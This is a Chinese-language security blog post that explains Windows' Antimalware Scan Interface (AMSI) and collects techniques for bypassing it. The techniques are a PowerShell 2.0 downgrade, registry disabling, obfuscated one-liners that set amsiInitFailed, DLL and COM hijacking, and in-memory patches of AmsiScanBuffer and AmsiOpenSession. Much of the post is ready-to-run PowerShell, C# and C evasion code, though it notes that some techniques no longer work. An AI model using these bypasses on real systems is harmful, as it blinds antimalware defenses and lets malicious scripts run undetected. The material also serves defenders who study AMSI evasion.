bypass-AMSI

何为AMSI

Antimalware Scan Interface(AMSI)为反恶意软件扫描接口。

微软对他产生的目的做出来描述:

Windows 反恶意软件扫描接口 (AMSI) 是一种通用接口标准,允许您的应用程序和服务与机器上存在的任何反恶意软件产品集成。AMSI 为您的最终用户及其数据、应用程序和工作负载提供增强的恶意软件保护。AMSI 与反恶意软件供应商无关;它旨在支持当今可以集成到应用程序中的反恶意软件产品提供的最常见的恶意软件扫描和保护技术。它支持允许文件和内存或流扫描、内容源 URL/IP 信誉检查和其他技术的调用结构。AMSI 还支持会话的概念,以便反恶意软件供应商可以关联不同的扫描请求。例如,可以将恶意负载的不同片段关联起来做出更明智的决定,而仅通过孤立地查看这些片段就很难做出决定。

amsi只是一个通道,真正检测出是否是恶意脚本的是杀软,比如defender,amsi和杀软的区别在于无论我们的恶意脚本是经过多次模糊处理还是远程执行,amsi都可以在脚本注入内存前检测到。而普通的静态杀毒软件是没办法的。

当用户执行脚本或启动 PowerShell 时,AMSI.dll 被动态加载进入内存空间。在执行之前,防病毒软件使用以下两个 API 来扫描缓冲区和字符串以查找恶意软件的迹象。
  AmsiScanBuffer()
  AmsiScanString()

amsi是所有杀毒软件都可以调用吗?并不是!
amsi是在Windows 10 和Windows Server 2016 之后才有的,然后并不是所有的杀毒软件都可以调用amsi接口。国内的基本都不可以。

github上有一个项目记录了可以调用amsi的杀毒软件

https://github.com/subat0mik/whoamsi/

在Windows Server 2016和Win10上已经默认安装并启用。他的本体是一个DLL文件,存在于 c:/windows/system32/amsi.dll。image-20220326111424418

目前AMSI功能已集成到Windows 10的这些组件中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
1.用户账户控制,也就是UAC(EXE、COM、MSI、ActiveX的安装) 
%windir%/System32/consent.exe
2.Powershell(脚本、交互式使用、动态代码求值)
System.Management.Automation.dll
3.Windows脚本宿主
wscript.exe
cscript.exe
4.JavaScript、VBScript
%windir%/System32/jscript.dll
%windir%/System32/vbscript.dll
5.Office VBA macros(宏)
VBE7.dll
6 .NET Assembly
clr.dll
7.WMI
%windir%/System32/wbem/fastprox.dll

主流对抗

1.降级攻击

因为低版本(2.0)的powershell是没有amsi的,所以在powershell2.0上执行恶意脚本就不会被检测到

下图是powershell在各个系统上的预装情况,可以看到现在常见的win10、Windows 2016、2019很少预装有powershell2.0(amsi是从win10、2016开始存在的),但是由于很多服务需要低版本的powershell,所以在红蓝对抗中也会碰到装有powershell2.0 的机器。

image-20220326111703209

查看当前powershell版本

1
$PSVersionTable

image-20220326111803335

判断能否使用powershell 2.0

1
2
3
4
5
6
7
8
9
注:非管理员权限
Get-ChildItem 'HKLM:/SOFTWARE/Microsoft/NET Framework Setup/NDP' -recurse | Get-ItemProperty -name Version -EA 0 | Where { $_.PSChildName -match '^(?!S)/p{L}'} | Select -ExpandProperty Version

注:需要管理员权限
Win10:
Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2

Win2016/Win2019
Get-WindowsFeature PowerShell-V2

image-20220326111916948

image-20220326111952986

1
powershell.exe -version 2   //改变powershell运行版本

image-20220326112155816

如果在脚本中使用,在脚本开头加入 #requires -version 2,这样如果可以使用2.0,脚本会以2.0执行,如果不能,会按照当前powershell版本执行。当然并不是所有脚本都可以在低版本的powershell执行。

还有一点,用powershell3 /4/5都还是默认以当前版本的powershell来执行

image-20220326112254528

另外vbscript/jscript不存在所谓降级攻击,因为在10/16/19并不存在像powershell一样的断代
情况

2.拆分

image-20220326112525445

3.改注册表禁用AMSI

设置注册表HKCU/Software/Microsoft/Windows Script/Settings/AmsiEnable设置为 0,以禁用
AMSI。

1
Remove-Item -Path "HKLM:/Software/Microsoft/Windows Script/Settings/AmsiEnable" -Recurse

但是,改注册表并不是一种隐秘的方法,并且还需要管理员权限 不怎么适用了

4.一键关闭AMSI

使用一行命令关闭amsi,但直接使用肯定是不行的 会被拦

1
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPubilc,Static').SetValue($null,$true)

image-20220326112749046

可以一个个试 到底是哪里被杀了

经过测试发现 AmsiUtilsAmsiInitFailed被杀了

接下来的思路就很明确了,就是针对AmsiUtilsAmsiInitFailed这两个字符串进行处理了

和混淆shellcode的方法差不多,先编码再解码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//System.Management.Automation.AmsiUtils和amsiInitFailed的编码数据
$a="5492868772801748688168747280728187173688878280688776828"
$b="1173680867656877679866880867644817687416876797271"

//对System.Management.Automation.AmsiUtils进行解码
$c=[string](0..37|%{[char][int](29+($a+$b).substring(($_*2),2))})-replace " "
$d=[Ref].Assembly.GetType($c)

//对amsiInitFailed进行解码
$e=[string](38..51|%{[char][int](29+($a+$b).substring(($_*2),2))})-replace " "
$f=$d.GetField($e,'NonPublic,Static')

//组合起来执行
$f.SetValue($null,$true)

image-20220326113041308

混淆的关键点就是 编码解码 [string](0..37|%{[char][int](29+($a+$b).substring(($_*2),2))})-replace " "

hex编码

1
[Ref].Assembly.GetType('System.Management.Automation.'+$("41 6D 73 69 55 74 69 6C 73".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($("61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),'NonPublic,Static').SetValue($null,$true)

base64亲测失效,虽然可以关掉amsi,但被defender查杀,会立刻结束掉当前powershell进程

1
[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)

更多的混淆办法去学习下powershell,了解语言本身

可参考:https://mp.weixin.qq.com/s/Sg0LK8emSWP1m-yds4VGrQ

5.内存补丁

AMSI检测相关api的调用顺序

1
2
3
4
5
AmsiInitialize – 初始化AMSI API.
AmsiOpenSession – 打开session
AmsiScanBuffer – scans the user-input.
AmsiCloseSession – 关闭session
AmsiUninitialize – 删除AMSI API

因为amsi是基于字符串静态扫描的,用到的函数是 AmsiScanBuffer,我们是不是可以hook该函数,使其返回我们需要的值呢?理则是修改AmsiScanBuffer函数的参数值(两个思路,一个是修改扫描长度,另一个是修改返回值)

看下AmsiScanBuffer的函数参数

1
2
3
4
5
6
7
HRESULT AmsiScanBuffer( 
HAMSICONTEXT amsiContext,
PVOID buffer,
ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT *result );

为了让amsi.dll 返回 AMSI_RESULT_NOT_DETECTED,这里的关注点是 hResult,即amsi.dll的返回值,只要它小于0,就可以bypass amsi。通过分析我们可以在AmsiInitialize、AmsiOpenSession、AmsiScanBuffer这3个函数中patch(补丁)都可以达到bypass amsi的效果.

分析后,AmsiInitializ不可以利用,AmsiOpenSession、AmsiScanBuffer可以利用

demo1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
$p=@"
using System;
using System.Linq;
using System.Runtime.InteropServices;
public class Program
{
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern IntPtr VirtualProtect(IntPtr lpAddress, UIntPtr dwSize,
uint flNewProtect, out uint lpfloldProtect);
public static void Bypass()
{
String a =
"isma";
String b =
"reffuBnacSismA";
IntPtr lib = LoadLibrary(String.Join(""
, a.Reverse().ToArray()) +
"
.dll");
IntPtr addr = GetProcAddress(lib, String.Join(""
,
b.Reverse().ToArray()));
uint old = 0;
byte[] p;
p = new byte[6];
p[0] = 0xB8;
p[1] = 0x57;
p[2] = 0x00;
p[3] = 0x07;
p[4] = 0x80;
p[5] = 0xc3;
VirtualProtect(addr, (UIntPtr)p.Length, 0x04, out old);
Marshal.Copy(p, 0, addr, p.Length);
VirtualProtect(addr, (UIntPtr)p.Length, old, out old);
}
}
"@
Add-Type $p
[Program]::Bypass()

这段码的功能就是在AmsiScanBuffer的函数地址处直接打补丁,补丁汇编是:

1
2
mov eax,0x80070057
ret

0x80070057也就是-2147024809,是一个负数,当然也可以是其他负数,而AmsiScanBuffer也可以修
改成AmsiOpenSession。怎么把汇编代码转换成代码中的数组呢?使用https://defuse.ca/online-x86-assembler.htm#disassembly,可以很快转换。我们来修改代码测试下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
$p=@"
using System;
using System.Linq;
using System.Runtime.InteropServices;
public class Program
{
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern IntPtr VirtualProtect(IntPtr lpAddress, UIntPtr dwSize,
uint flNewProtect, out uint lpfloldProtect);
public static void Bypass()
{
String a =
"isma";
IntPtr lib = LoadLibrary(String.Join(""
, a.Reverse().ToArray()) +
"
.dll");
IntPtr addr = GetProcAddress(lib,
"AmsiOpenSession");
uint old = 0;
byte[] p;
p = new byte[6];
p[0] = 0xB8;
p[1] = 0xFF;
p[2] = 0xFF;
p[3] = 0xFF;
p[4] = 0xFF;
p[5] = 0xC3;
VirtualProtect(addr, (UIntPtr)p.Length, 0x04, out old);
Marshal.Copy(p, 0, addr, p.Length);
VirtualProtect(addr, (UIntPtr)p.Length, old, out old);
}
}
"@
Add-Type $p
[Program]::Bypass()

我们修改了被打补丁的函数为AmsiOpenSession,补丁汇编代码为:

1
2
mov eax,-1
ret

我们知道了补丁函数可以为AmsiOpenSession、AmsiScanBuffer,补丁代码可以变化很
多,只要返回结果为负数就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <Windows.h>
#include <stdio.h>

int main() {
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
si.cb = sizeof(si);

CreateProcessA(NULL, (LPSTR)"powershell -NoExit dir", NULL, NULL, NULL, NULL, NULL, NULL, &si, &pi);

HMODULE hAmsi = LoadLibraryA("amsi.dll");
LPVOID pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");

Sleep(500);

DWORD oldProtect;
char patch = 0xc3;

VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
WriteProcessMemory(pi.hProcess, (LPVOID)pAmsiScanBuffer, &patch, sizeof(char), NULL);
VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, 1, oldProtect, NULL);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
FreeLibrary(hAmsi);
return 0;
}

0xc3的硬编码对应的汇编是ret,也就是调用AmsiScanBuffer直接让他返回。这个马是直接被杀的。

非主流对抗

1.劫持amsi.dll

原理

由于研发人员使用 LoadLibrary函数导入dll的时候没有使用绝对路径,因此程序会首先在当前目录下寻找dll

因此我们在 powershell.exe同目录下放一个amsi.dll做劫持

1
amsi.dll`的默认目录:`c:/windows/system32/amsi.dll

还要考虑amsi.dll的导出函数,使用 Aheadlib工具生成或者自己找到 amsi.dll 对应的导出函数,自己写,一样的。当然自己的dll没有签名,这里还涉及到免杀的问题,如果可以添加微软前面,再劫持,又有很大的可玩性。

2.NULL字符绕过

这个方法已经失效了,但还是提一下,扩充下思路。

Amsi扫描使用的是 AmsiScanString函数

1
2
3
4
5
6
7
8
HRESULT WINAPI AmsiScanString(
_In_ HAMSICONTEXT amsiContext,
_In_LPCWSTR string, // Will be terminated at the first null
character
_In_LPCWSTR contentName,
_In_opt_HAMSISESSION session,
_Out_AMSI_RESULT *result
);

其中string就是脚本内容,在执行脚本之前加个空字符就可以截断,而修复的方法是用了 AmsiScanBuffer这个函数,所以amsi才会用这两个函数来扫描

1
2
3
4
5
6
7
8
HRESULT WINAPI AmsiScanBuffer(
_In_ HAMSICONTEXT amsiContext,
_In_ PVOID buffer, // Not terminated at the null character
_In_ ULONG length,
_In_ LPCWSTR contentName,
_In_ opt_HAMSISESSION session,
_Out_ AMSI_RESULT *result
);

3.COM server劫持

原理:amsi.dll在老版本中使用 CoCreateInstance()函数调用IID和CLSID来实例化COM接口。而这个函数会先
从注册表HKCU中找对应的dll去解析,也就是当前用户,因此我们创建相应的注册表,让它调用失败就行了。简单来说利用的是注册表优先级来绕过。

1
2
3
4
5
6
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER/Software/Classes/CLSID/{fdb00e52-a214-4aa1-8fba-
4357bb0072ec}]

[HKEY_CURRENT_USER/Software/Classes/CLSID/{fdb00e52-a214-4aa1-8fba-4357bb0072ec}/InProcServer32]
@="C://goawayamsi.dll"

而微软通过直接调用amsi.dll 的 DllGetClassObject() 函数替换 CoCreateInstance()
可以避免注册表解析。

但是这种方法也失效了,不过可以学习下思路。

## 最后

AMSI 也还是有更多的方向可以研究,混淆等等 但更了解powershell 对于bypass有更好的帮助 还一个平台可参考用用https://amsi.fail/

在线生成的平台

image-20220326115012141

参考:

《Bypass AMSI的前世今生》by L.N.


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!